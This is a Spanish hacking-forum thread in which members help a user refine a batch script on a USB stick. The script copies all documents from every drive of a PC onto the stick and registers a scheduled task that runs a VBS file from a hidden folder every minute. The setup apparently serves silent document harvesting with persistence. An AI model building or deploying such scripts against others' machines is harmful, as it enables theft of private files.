elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  ayuda a simplificar bat
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: ayuda a simplificar bat  (Leído 8,752 veces)
binario010101

Desconectado Desconectado

Mensajes: 136


Ver Perfil
ayuda a simplificar bat
« en: 8 Octubre 2013, 19:31 pm »

hola amigos tengo este bat

Código:
(FOR /R "A:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "B:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "C:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "D:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "E:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "F:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "G:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "H:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "I:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "J:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "K:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "L:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "M:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "N:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "O:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "P:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "Q:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "R:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "S:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "T:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "U:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "V:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "W:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "X:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "Y:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "Z:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))

el cual copia todos los archivos de los discos del pc a la usb donde esta el bat

estoy usando todas las letras del abecedario para buscar todos los discos del pc y uso "%1\trabajos\" para que se copien a la usb donde esta el bat
 
alguien me puede ayudar a simplificar mi codigo


gracias por sus respuestas


« Última modificación: 9 Octubre 2013, 15:53 pm por binario010101 » En línea

binario010101@hotmail.com
no soy ing estudio sicologia
Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.878



Ver Perfil
Re: ayuda a simplificar bat
« Respuesta #1 en: 9 Octubre 2013, 16:23 pm »

Uf, te pasaste un poco con tanta repetición de código :P

porfavor lee mi respuesta aquí: http://foro.elhacker.net/scripting/bat_que_detecte_automaticamente_usb-t400296.0.html;msg1890277#msg1890277

Aquí tienes:
Código
  1. @ECHO OFF & CHCP 1252 1>NUL
  2.  
  3. :: INFO:
  4. ::
  5. :: # WMI Class Win32_LogicalDisk Help
  6. ::
  7. :: Drivetype 2: Removable
  8. :: Drivetype 3: Local hard disk
  9.  
  10. REM Filtro el output del comando WMIC.
  11. For /F %%# in (
  12. 'wmic logicaldisk get caption^,drivetype ^| FINDSTR "2 3"'
  13. ) Do (
  14. REM Saco las letras de los dispositivos disponibles.
  15. Call Set "DRIVES=%%DRIVES%%%%#"
  16. )
  17.  
  18. REM Elimino la letra de unidad desde la que se inició este Script Bat.
  19. Call Set "DRIVES=%%DRIVES:%~d0=%%"
  20.  
  21. REM Reemplazo el caracter ":" del resto de letras por un caracter de "espacio",
  22. REM De esta manera puedo usar el delimitador por defecto ("espacio") en un FOR.
  23. Set "DRIVES=%DRIVES::= %"
  24.  
  25. REM Por último, proceso cada letra de unidad.
  26. For %%D in (%DRIVES%) Do (
  27.  
  28. Echo [+] Procesando unidad "%%D:\" | MORE
  29.  
  30. FOR /R "%%D:\" %%# IN (
  31. "*.doc","*.d0cx","*.rtf","*.pdf"
  32. )  DO  (
  33. Echo "%%~#"
  34. Copy /Y "%%~#" "%~d0\trabajos\" 1>NUL
  35. )
  36.  
  37. )
  38.  
  39. Pause&Exit

Saludos


En línea



binario010101

Desconectado Desconectado

Mensajes: 136


Ver Perfil
Re: ayuda a simplificar bat
« Respuesta #2 en: 9 Octubre 2013, 18:17 pm »

totalmente agradecido

como quito el mensaje "precione una tecla para continuar..."

y otra pregunta

a este codigo
Código:
@echo off
SCHTASKS /create /SC MINUTE /MO 1 /tn copiar /TR F:\Hide\start.vbs

como le creo una variable para la letra de la usb, u otro mecanismo que ejecute el archivo vbs?

« Última modificación: 9 Octubre 2013, 18:27 pm por binario010101 » En línea

binario010101@hotmail.com
no soy ing estudio sicologia
Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.878



Ver Perfil
Re: ayuda a simplificar bat
« Respuesta #3 en: 9 Octubre 2013, 18:34 pm »

No entiendo muy bien la pregunta.

¿Quieres que la tarea programada ejecute el VBS, y este VBS se supone que le quieres asignar la letra de unidad desde donde tienes tu script?.

La letra del USB desde donde ejecutas el script la tienes almacenada en esta variable especial:
Código:
%~d0

Código
  1. REM Ejemplo:
  2. Set "DriveLetter=%~d0"
  3. Echo %DriveLetter%
  4.  
  5. SCHTASKS /create /SC "MINUTE" /MO "3" /tn "Copiar %DriveLetter%" /TR "WScript.exe \"%DriveLetter%\Hide\start.vbs\""

Saludos
En línea



binario010101

Desconectado Desconectado

Mensajes: 136


Ver Perfil
Re: ayuda a simplificar bat
« Respuesta #4 en: 9 Octubre 2013, 18:54 pm »

el problema es que la ruta del archivo start.vbs es F:\Hide\start.vbs  pero cuando la usb tenga asiganda una letra diferente el run.cmd no lo encontrara

probando tu codigo

gracias
En línea

binario010101@hotmail.com
no soy ing estudio sicologia
Segadorfelix

Desconectado Desconectado

Mensajes: 157



Ver Perfil
Re: ayuda a simplificar bat
« Respuesta #5 en: 9 Octubre 2013, 21:56 pm »

Hola binario010101.
Supongo, que te refieres a esto:

Código:
For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
if exist %%r:\Hide\start.vbs (
SCHTASKS /create /SC "MINUTE" /MO "3" /tn "Copiar %%r" /TR "WScript.exe \" %%r\Hide\start.vbs\""))

SaluDos.
En línea

binario010101

Desconectado Desconectado

Mensajes: 136


Ver Perfil
Re: ayuda a simplificar bat
« Respuesta #6 en: 10 Octubre 2013, 20:03 pm »

gracias amigos pero ningun codigo me funciona

tengo este guardado como run.cm en formato ANSI pero no funciona
Código:
@echo off
SCHTASKS /create /SC MINUTE /MO 1 /tn copiar /TR E:\start.vbs

intente con este de EleKtro H@cker pero tampoco funciona

Código:
REM Ejemplo:
Set "DriveLetter=%~d0"
Echo %DriveLetter%
 
SCHTASKS /create /SC "MINUTE" /MO "1" /tn "Copiar %DriveLetter%" /TR "WScript.exe \"%DriveLetter%\start.vbs\""

probe con el de Segadorfelix pero tampoco funciona
Código:
For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
if exist %%r:\start.vbs (
SCHTASKS /create /SC "MINUTE" /MO "1" /tn "Copiar %%r" /TR "WScript.exe \" %%r\start.vbs\""))

alguna idea porque ninguno me funciona?
En línea

binario010101@hotmail.com
no soy ing estudio sicologia
binario010101

Desconectado Desconectado

Mensajes: 136


Ver Perfil
Re: ayuda a simplificar bat
« Respuesta #7 en: 11 Octubre 2013, 20:35 pm »

cuando ejecuto manualmente el archivo run.cmd con este codigo
Código:
For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
if exist %%r:\Hide\start.vbs (
SCHTASKS /create /SC "MINUTE" /MO "3" /tn "Copiar %%r" /TR "WScript.exe \" %%r\Hide\start.vbs\""))
me aparece esto
error al cargar la secuencia de comando "C:\windows\system32\ G:\start.vbs (el nombre del archivo o  el nombre de  directorio o la sintaxis de la etiqueta del volumen no son correctos)
En línea

binario010101@hotmail.com
no soy ing estudio sicologia
Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.878



Ver Perfil
Re: ayuda a simplificar bat
« Respuesta #8 en: 11 Octubre 2013, 20:49 pm »

En lugar de copiar los ejemplos de los demás sin entender su funcionamiento deberías procurar buscar lo que significa cada cosa y para que sirven.

El ejemplo de @Segadorfelix contiene dos errores de sintaxis, aquí estás dejando un espacio entre la variable del FOR y la comilla doble \" %%r,
pero además de eso, la variable de FOR contiene una letra, un solo caracter, ¿entonces no crees que aquí faltaría algo más?:
Código:
\" %%r\Hide\start.vbs\"

Hazle un Echo a la cadena para darte cuenta de lo que falta.

Saludos
« Última modificación: 11 Octubre 2013, 20:54 pm por EleKtro H@cker » En línea



binario010101

Desconectado Desconectado

Mensajes: 136


Ver Perfil
Re: ayuda a simplificar bat
« Respuesta #9 en: 11 Octubre 2013, 21:34 pm »

el error del espacio luego del for no lo iba notado el segundo error si.

ese codigo me creo un bucle infinito alguien sabe como borrarlo ya intenete con

Código:
@echo off
SCHTASKS /tn copiar /End
pause
SCHTASKS /TR "copiar" /delete

y otras variantes pero no funciona
« Última modificación: 11 Octubre 2013, 21:37 pm por binario010101 » En línea

binario010101@hotmail.com
no soy ing estudio sicologia
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
simplificar dos numeros
Programación Visual Basic
erick185 2 2,003 Último mensaje 9 Mayo 2006, 20:46 pm
por Ironhorse
Simplificar Función Matematica
Programación General
W0lFy 4 3,076 Último mensaje 3 Febrero 2012, 10:31 am
por W0lFy
[Idea] Librería para simplificar el uso de sockets
Programación C/C++
Miky Gonzalez 2 2,391 Último mensaje 19 Noviembre 2014, 21:50 pm
por Miky Gonzalez
Simplificar javascript
Scripting
AngelFire 3 2,195 Último mensaje 10 Marzo 2016, 00:03 am
por AngelFire
¿Se puede simplificar el código del Checkbutton en tkinter? [SOLUCIONADO] :)
Scripting
Yidu 2 3,685 Último mensaje 10 Julio 2017, 19:03 pm
por Yidu
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines